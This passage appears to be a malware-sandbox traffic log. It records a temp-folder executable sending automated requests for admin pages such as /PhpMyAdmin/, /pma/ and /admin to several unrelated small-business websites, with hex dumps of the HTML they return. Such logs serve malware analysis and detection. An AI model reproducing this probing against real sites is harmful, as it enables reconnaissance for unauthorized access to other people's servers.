Max-Age=0; path=/ Set-Cookie: wordpress_sec_e28871f1aa51006dfc2f1616ddbf2884=+; expires=Tue, 20-Dec-2022 02:13:42 GMT; Max-Age=0; path=/ Set-Cookie: wordpressuser_e28871f1aa51006dfc2f1616ddbf2884=+; expires=Tue, 20-Dec-2022 02:13:42 GMT; Max-Age=0; path=/ Set-Cookie: wordpresspass_e28871f1aa51006dfc2f1616ddbf2884=+; expires=Tue, 20-Dec-2022 02:13:42 GMT; Max-Age=0; path=/ Set-Cookie: wordpressuser_e28871f1aa51006dfc2f1616ddbf2884=+; expires=Tue, 20-Dec-2022 02:13:42 GMT; Max-Age=0; path=/ Set-Cookie: wordpresspass_e28871f1aa51006dfc2f1616ddbf2884=+; expires=Tue, 20-Dec-2022 02:13:42 GMT; Max-Age=0; path=/ Set-Cookie: wp-postpass_e28871f1aa51006dfc2f1616ddbf2884=+; expires=Tue, 20-Dec-2022 02:13:42 GMT; Max-Age=0; path=/ X-Powered-By: ASP.NET Date: Wed, 20 Dec 2023 02:13:42 GMT Connection: close Content-Length: 8604
2023-12-20 02:13:42 UTC	8604	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 47 42 22 20 70 72 65 66 69 78 3d 22 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 20 66 62 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 2f 66 62 23 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 54 47 20 43 61 6e 20 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d Data Ascii: <!DOCTYPE html><html lang="en-GB" prefix="og: http://ogp.me/ns# fb: http://ogp.me/ns/fb#"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; TG Can International — WordPress</title><meta name=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
444	192.168.2.4	53805	96.45.112.177	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:41 UTC	182	OUT	GET /PhpMyAdmin/ HTTP/1.1 Host: www.texasopendoor.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:42 UTC	562	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 20 Dec 2023 02:13:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Set-Cookie: PHPSESSID=a26ed76add35b5b674ad2081a63c9f68; path=/ Pragma: no-cache Set-Cookie: aiovg_rand_seed=2077447148; expires=Thu, 21-Dec-2023 02:13:41 GMT; Max-Age=86400; path=/ Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.texasopendoor.com/wp-json/>; rel="https://api.w.org/"
2023-12-20 02:13:42 UTC	15822	IN	Data Raw: 62 64 64 65 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 20 69 74 65 6d 73 63 6f 70 65 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 57 65 62 53 69 74 65 22 3e 0a 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 69 65 3d 65 64 67 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 Data Ascii: bdde<!doctype html><html class="no-js"lang="en-US"><head itemscope itemtype="http://schema.org/WebSite"> <meta charset="UTF-8" /> <meta http-equiv="x-ua-compatible" content="ie=edge"> <meta name="viewport" content="width=device-width, init
2023-12-20 02:13:42 UTC	16384	IN	Data Raw: 77 2e 74 65 78 61 73 6f 70 65 6e 64 6f 6f 72 2e 63 6f 6d 2f 22 3e 48 6f 6d 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 20 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 75 73 74 6f 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 63 75 73 74 6f 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 37 32 31 32 22 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 2f 73 65 61 72 63 68 22 3e 53 65 61 72 63 68 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 68 61 Data Ascii: w.texasopendoor.com/">Home</a> </li> <li class=" menu-item menu-item-type-custom menu-item-object-custom menu-item-7212"> <a href="/search">Search</a> </li> <li class="ha
2023-12-20 02:13:42 UTC	16384	IN	Data Raw: 78 61 73 6f 70 65 6e 64 6f 6f 72 2e 63 6f 6d 2f 67 65 6f 72 67 65 74 6f 77 6e 2d 68 6f 6d 65 73 2d 34 30 30 30 30 30 2f 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 73 75 62 63 61 74 2d 74 69 74 6c 65 22 3e 47 65 6f 72 67 65 74 6f 77 6e 20 48 6f 6d 65 73 20 24 34 30 30 2c 30 30 30 20 41 6e 64 20 55 70 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 20 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d Data Ascii: xasopendoor.com/georgetown-homes-400000/"><span class="menu-item-subcat-title">Georgetown Homes $400,000 And Up</span></a> </li> <li class=" menu-item menu-item-type-post_type menu-item-object-page m
2023-12-20 02:13:42 UTC	16384	IN	Data Raw: 77 61 74 65 72 66 72 6f 6e 74 2d 68 6f 6d 65 73 2f 22 3e 3c 73 70 0d 0a 35 62 32 65 0d 0a 61 6e 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 73 75 62 63 61 74 2d 74 69 74 6c 65 22 3e 57 61 74 65 72 66 72 6f 6e 74 20 48 6f 6d 65 73 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 20 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 37 38 32 34 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: waterfront-homes/"><sp5b2ean class="menu-item-subcat-title">Waterfront Homes</span></a> </li> <li class=" menu-item menu-item-type-post_type menu-item-object-page menu-item-7824">
2023-12-20 02:13:42 UTC	6995	IN	Data Raw: 6c 6c 62 61 63 6b 22 20 76 61 6c 75 65 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 65 78 61 73 6f 70 65 6e 64 6f 6f 72 2e 63 6f 6d 2f 50 68 70 4d 79 41 64 6d 69 6e 2f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 69 64 3d 22 6c 6f 67 69 6e 2d 77 2d 67 6f 6f 67 6c 65 22 20 64 61 74 61 2d 61 63 74 69 6f 6e 3d 22 73 69 67 6e 2d 69 6e 2d 67 6f 6f 67 6c 65 22 20 63 6c 61 73 73 3d 22 62 74 6e 20 62 74 6e 2d 64 65 66 61 75 6c 74 20 62 74 6e 2d 6c 67 22 20 68 72 65 66 3d 22 23 22 20 74 69 74 6c 65 3d 22 53 69 67 6e 20 49 6e 20 77 69 74 68 20 47 6f 6f 67 6c 65 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 66 61 20 66 61 2d 67 6f 6f 67 6c 65 22 3e 3c 2f 73 70 61 6e 3e 20 43 6f 6e 74 69 6e 75 65 20 77 69 74 68 20 47 6f 6f Data Ascii: llback" value="https://www.texasopendoor.com/PhpMyAdmin/"> <a id="login-w-google" data-action="sign-in-google" class="btn btn-default btn-lg" href="#" title="Sign In with Google"><span class="fa fa-google"></span> Continue with Goo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
445	192.168.2.4	53889	199.60.103.2	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:41 UTC	407	OUT	GET /pma/ HTTP/1.1 Host: www.greenlawnfertilizing.com Accept: / Accept-Encoding: deflate, gzip Cookie: __cfruid=2e61482e165273703c2148359cd91ab34251e64a-1703038419; __cf_bm=UAsXjFzPbfZTWVOmGwHToUVXNmezVzE6yDwNa7gXBIM-1703038419-1-Aa44RahpWS2y6lMeUPw9GcojgLk89omakUXwz5UlUZSQmn3RkUnJsE0BOlmAB0Hp3u6RglDzgPO8ZRci4D8wqTs= User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:41 UTC	1342	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:41 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close CF-Ray: 83845e158d46b3df-MIA CF-Cache-Status: EXPIRED Cache-Control: s-maxage=5,max-age=5 Strict-Transport-Security: max-age=31536000 Vary: origin, Accept-Encoding Access-Control-Allow-Credentials: false Content-Security-Policy: upgrade-insecure-requests X-Content-Type-Options: nosniff x-envoy-upstream-service-time: 44 x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-evy-trace-route-service-name: envoyset-translator x-evy-trace-served-by-pod: iad02/cms-20-29-td/envoy-proxy-7bbc466c58-q8vhm x-evy-trace-virtual-host: all X-Hs-Https-Only: worker X-HS-Prerendered: Tue, 19 Dec 2023 22:41:00 GMT X-HS-Reason: No view mapper found to handle request X-HubSpot-Correlation-Id: a8558a6e-89bb-4b80-a900-4314c97430fa X-HubSpot-NotFound: true x-request-id: a8558a6e-89bb-4b80-a900-4314c97430fa X-Trace: 2BB0B24A694F18A3F66E94E97B6102F69FC56EEDCB000000000000000000 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=jpQMaVhczV3pcOJSzxQYarS14W5ZMSl1Mmv46vikSsUS85bpnWpHfOvzcq21ogFqReVLToKoXJKj%2F1aEy%2FeACuwUAeywmQXkfnAjcY0eOfGFWBGzFxTJBSftMiOusKVS%2FoEpjZ632JRyYiCPlCA%3D"}],"group":"cf-nel","max_age":604800}
2023-12-20 02:13:41 UTC	122	IN	Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 31 2c 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800}Server: cloudflarealt-svc: h3=":443"; ma=86400
2023-12-20 02:13:41 UTC	1369	IN	Data Raw: 36 31 64 35 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 0a 20 20 20 20 3c 2f 74 69 74 6c 65 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 72 65 65 6e 6c 61 77 6e 66 65 72 74 69 6c 69 7a 69 6e 67 2e 63 6f 6d 2f 68 75 62 66 73 2f 64 6f 77 6e 6c 6f 61 64 2e 70 6e 67 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 Data Ascii: 61d5<!doctype html><html lang="en"><head> <meta charset="utf-8"> <title> </title><link rel="shortcut icon" href="https://www.greenlawnfertilizing.com/hubfs/download.png"> <meta name="viewport" content="width=device-width, initial-scale=1
2023-12-20 02:13:41 UTC	1369	IN	Data Raw: 72 74 69 6c 69 7a 69 6e 67 2e 63 6f 6d 2f 23 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 23 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 2c 0a 20 20 22 69 64 65 6e 74 69 66 69 65 72 22 3a 20 5b 0a 20 20 20 20 0a 20 20 20 20 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 73 65 61 72 63 68 3f 71 3d 47 72 65 65 6e 2b 4c 61 77 6e 2b 46 65 72 74 69 6c 69 7a 69 6e 67 26 6b 70 6f 6e 6c 79 26 6b 67 6d 69 64 3d 2f 67 2f 31 74 64 77 77 6e 62 62 22 2c 0a 20 20 20 20 0a 20 20 20 20 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 73 65 61 72 63 68 3f 71 3d 47 72 65 65 6e 2b 4c 61 77 6e 2b 46 65 72 74 69 6c 69 7a 69 6e 67 26 6b 70 6f 6e 6c 79 26 6b 67 6d 69 64 3d 2f 67 2f 31 31 67 66 6a 73 38 32 6b 6c 22 2c 0a 20 20 20 20 0a 20 20 20 Data Ascii: rtilizing.com/#organization#organization", "identifier": [ "https://www.google.com/search?q=Green+Lawn+Fertilizing&kponly&kgmid=/g/1tdwwnbb", "https://www.google.com/search?q=Green+Lawn+Fertilizing&kponly&kgmid=/g/11gfjs82kl",
2023-12-20 02:13:41 UTC	1369	IN	Data Raw: 68 20 6f 76 65 72 20 32 30 20 74 68 6f 75 73 61 6e 64 20 61 63 74 69 76 65 20 63 75 73 74 6f 6d 65 72 73 20 77 68 6f 20 6c 6f 76 65 20 74 68 65 69 72 20 62 65 61 75 74 69 66 75 6c 20 6c 75 73 68 20 67 72 65 65 6e 20 67 72 61 73 73 2e 20 4f 75 72 20 70 72 6f 66 65 73 73 69 6f 6e 61 6c 20 73 74 61 66 66 20 61 72 65 20 64 65 64 69 63 61 74 65 64 20 74 6f 20 70 72 6f 76 69 64 69 6e 67 20 73 75 70 65 72 69 6f 72 20 73 65 72 76 69 63 65 20 66 6f 72 20 61 6c 6c 20 74 79 70 65 73 20 6f 66 20 70 72 6f 70 65 72 74 69 65 73 20 69 6e 63 6c 75 64 69 6e 67 20 63 6f 6d 6d 65 72 63 69 61 6c 20 62 75 73 69 6e 65 73 73 65 73 20 69 6e 20 6e 65 65 64 20 6f 72 20 72 65 67 75 6c 61 72 20 66 65 72 74 69 6c 69 7a 69 6e 67 20 73 63 68 65 64 75 6c 65 73 21 22 22 2c 0a 20 20 20 20 Data Ascii: h over 20 thousand active customers who love their beautiful lush green grass. Our professional staff are dedicated to providing superior service for all types of properties including commercial businesses in need or regular fertilizing schedules!"",
2023-12-20 02:13:41 UTC	1369	IN	Data Raw: 4c 61 77 6e 20 46 65 72 74 69 6c 69 7a 69 6e 67 20 77 61 73 20 66 6f 75 6e 64 65 64 20 77 69 74 68 20 61 20 76 69 73 69 6f 6e 20 74 6f 20 70 72 6f 76 69 64 65 20 74 68 65 20 62 65 73 74 20 71 75 61 6c 69 74 79 20 67 72 61 73 73 20 66 65 72 74 69 6c 69 7a 69 6e 67 2c 20 6c 61 77 6e 20 66 65 72 74 69 6c 69 7a 69 6e 67 2c 20 61 6e 64 20 6c 61 77 6e 20 67 72 61 73 73 20 67 72 6f 77 74 68 20 73 65 72 76 69 63 65 73 20 69 6e 20 4e 65 77 20 4a 65 72 73 65 79 2c 20 44 65 6c 61 77 61 72 65 2c 20 61 6e 64 20 50 65 6e 6e 73 79 6c 76 61 6e 69 61 2e 22 2c 0a 20 20 7d 2c 0a 20 20 22 70 61 72 65 6e 74 4f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 3a 20 7b 0a 20 20 20 20 22 40 69 64 22 3a 20 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 72 65 65 6e 6c 61 77 6e 66 65 72 74 69 6c 69 Data Ascii: Lawn Fertilizing was founded with a vision to provide the best quality grass fertilizing, lawn fertilizing, and lawn grass growth services in New Jersey, Delaware, and Pennsylvania.", }, "parentOrganization": { "@id": "https://www.greenlawnfertili
2023-12-20 02:13:41 UTC	1369	IN	Data Raw: 72 6c 79 20 6c 69 63 65 6e 73 65 64 20 26 20 69 6e 73 75 72 65 64 20 74 6f 20 6f 66 66 65 72 20 66 65 72 74 69 6c 69 7a 65 72 2c 20 77 65 65 64 20 63 6f 6e 74 72 6f 6c 20 61 6e 64 20 67 72 75 62 20 63 6f 6e 74 72 6f 6c 2e 20 57 65 20 61 6c 73 6f 20 6f 66 66 65 72 20 61 65 72 61 74 69 6f 6e 20 61 6e 64 20 73 65 65 64 69 6e 67 2c 20 74 72 65 65 20 26 20 53 68 72 75 62 2c 20 6c 69 6d 65 2c 20 73 70 6f 74 74 65 64 20 6c 61 6e 74 65 72 6e 66 6c 79 2c 20 6d 6f 73 71 75 69 74 6f 20 61 6e 64 20 66 6c 65 61 20 26 20 74 69 63 6b 20 73 65 72 76 69 63 65 73 2e 22 2c 0a 20 20 22 6d 61 69 6e 45 6e 74 69 74 79 4f 66 50 61 67 65 22 3a 20 5b 0a 20 20 0a 20 20 20 20 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 6d 61 70 73 3f 63 69 64 3d 31 33 38 Data Ascii: rly licensed & insured to offer fertilizer, weed control and grub control. We also offer aeration and seeding, tree & Shrub, lime, spotted lanternfly, mosquito and flea & tick services.", "mainEntityOfPage": [ "https://www.google.com/maps?cid=138
2023-12-20 02:13:41 UTC	1369	IN	Data Raw: 43 6f 75 6e 74 22 3a 20 22 22 2c 0a 20 20 20 20 22 62 65 73 74 52 61 74 69 6e 67 22 3a 20 22 22 0a 20 20 7d 2c 0a 20 20 22 72 65 76 69 65 77 22 3a 20 5b 0a 20 20 20 20 0a 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 52 65 76 69 65 77 22 2c 0a 20 20 20 20 20 20 22 61 75 74 68 6f 72 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 50 65 72 73 6f 6e 22 2c 0a 20 20 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 53 75 73 61 6e 20 42 72 6f 77 6e 22 2c 0a 20 20 20 20 20 20 20 20 22 61 64 64 72 65 73 73 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 50 6f 73 74 61 6c 41 64 64 72 65 73 73 22 2c 0a 20 20 20 20 20 20 20 20 20 20 22 61 64 64 72 65 73 73 4c 6f 63 61 6c 69 74 79 22 3a 20 22 57 65 Data Ascii: Count": "", "bestRating": "" }, "review": [ { "@type": "Review", "author": { "@type": "Person", "name": "Susan Brown", "address": { "@type": "PostalAddress", "addressLocality": "We
2023-12-20 02:13:41 UTC	1369	IN	Data Raw: 20 20 0a 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 52 65 76 69 65 77 22 2c 0a 20 20 20 20 20 20 22 61 75 74 68 6f 72 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 50 65 72 73 6f 6e 22 2c 0a 20 20 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 41 6e 64 72 65 77 20 42 75 72 72 6f 75 67 68 73 22 2c 0a 20 20 20 20 20 20 20 20 22 61 64 64 72 65 73 73 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 50 6f 73 74 61 6c 41 64 64 72 65 73 73 22 2c 0a 20 20 20 20 20 20 20 20 20 20 22 61 64 64 72 65 73 73 4c 6f 63 61 6c 69 74 79 22 3a 20 22 57 65 73 74 20 43 68 65 73 74 65 72 22 2c 0a 20 20 20 20 20 20 20 20 20 20 22 61 64 64 72 65 73 73 52 65 67 69 6f 6e 22 3a 20 22 50 65 6e 6e 73 79 6c 76 Data Ascii: { "@type": "Review", "author": { "@type": "Person", "name": "Andrew Burroughs", "address": { "@type": "PostalAddress", "addressLocality": "West Chester", "addressRegion": "Pennsylv
2023-12-20 02:13:41 UTC	1369	IN	Data Raw: 65 6e 74 73 20 74 68 61 74 20 77 69 6c 6c 20 6b 65 65 70 20 79 6f 75 72 20 6c 61 77 6e 20 67 72 65 65 6e 20 61 6e 64 20 66 72 65 65 20 6f 66 20 70 65 73 74 73 20 79 65 61 72 20 61 66 74 65 72 20 79 65 61 72 2e 20 48 65 20 61 6c 73 6f 20 63 61 72 65 73 20 61 62 6f 75 74 20 74 68 65 20 77 65 6c 6c 2d 62 65 69 6e 67 20 6f 66 20 68 69 73 20 65 6d 70 6c 6f 79 65 65 73 2e 22 2c 0a 20 20 20 20 22 61 6c 74 65 72 6e 61 74 65 4e 61 6d 65 22 3a 20 22 4d 61 74 74 20 4a 65 73 73 6f 6e 22 2c 0a 20 20 20 20 22 62 72 61 6e 64 22 3a 20 22 22 2c 0a 20 20 20 20 22 74 65 6c 65 70 68 6f 6e 65 22 3a 20 5b 22 22 5d 2c 0a 20 20 20 20 22 65 6d 61 69 6c 22 3a 20 22 65 6d 61 69 6c 40 67 72 65 65 6e 6c 61 77 6e 66 65 72 74 69 6c 69 7a 69 6e 67 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 6a Data Ascii: ents that will keep your lawn green and free of pests year after year. He also cares about the well-being of his employees.", "alternateName": "Matt Jesson", "brand": "", "telephone": [""], "email": "email@greenlawnfertilizing.com", "j
2023-12-20 02:13:41 UTC	1369	IN	Data Raw: 20 20 20 20 0a 20 20 20 20 20 20 20 20 5d 0a 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 4f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 2c 0a 20 20 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 47 72 65 65 6e 43 61 72 65 20 46 6f 72 20 54 72 6f 6f 70 73 20 50 72 6f 6a 65 63 74 20 45 76 65 72 67 72 65 65 6e 22 2c 0a 20 20 20 20 20 20 20 20 22 40 69 64 22 3a 20 22 68 74 74 70 3a 2f 2f 70 72 6f 6a 65 63 74 65 76 65 72 67 72 65 65 6e 2e 6f 72 67 2f 23 4f 72 67 61 6e 69 7a 61 74 69 6f 6e 23 4f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 2c 0a 20 20 20 20 20 20 20 20 22 75 72 6c 22 3a 20 22 68 74 74 70 3a 2f 2f 70 72 6f 6a 65 63 74 65 76 65 72 67 72 65 65 6e 2e 6f 72 67 2f 22 2c 0a 20 20 20 20 20 Data Ascii: ] }, { "@type": "Organization", "name": "GreenCare For Troops Project Evergreen", "@id": "http://projectevergreen.org/#Organization#Organization", "url": "http://projectevergreen.org/",

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
446	192.168.2.4	53900	34.149.87.45	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:41 UTC	173	OUT	GET /admin HTTP/1.1 Host: www.orangutech.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:41 UTC	654	IN	HTTP/1.1 404 Not Found Content-Length: 2929 Content-Type: text/html; charset=UTF-8 Content-Language: en Strict-Transport-Security: max-age=3600 X-Wix-Request-Id: 1703038420.00216549370207832690 Cache-Control: public,max-age=0,must-revalidate Server: Pepyaka/1.19.10 X-Content-Type-Options: nosniff Accept-Ranges: bytes Date: Wed, 20 Dec 2023 02:13:41 GMT Age: 3 X-Served-By: cache-dfw-kdfw8210154-DFW X-Cache: HIT Vary: Accept-Encoding Server-Timing: cache;desc=hit, varnish;desc=hit_hit, dc;desc=fastly_g X-Seen-By: yvSunuo/8ld62ehjr5B7kA== Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2023-12-20 02:13:41 UTC	1252	IN	Data Raw: 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 0a 20 20 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6e 67 2d 61 70 70 3d 22 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e Data Ascii: ... --><!doctype html>... --><html ng-app="wixErrorPagesApp"><head> <meta name="viewport" content="width=device-width,initial-scale=1, maximum-scale=1, user-scalable=no"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" conten
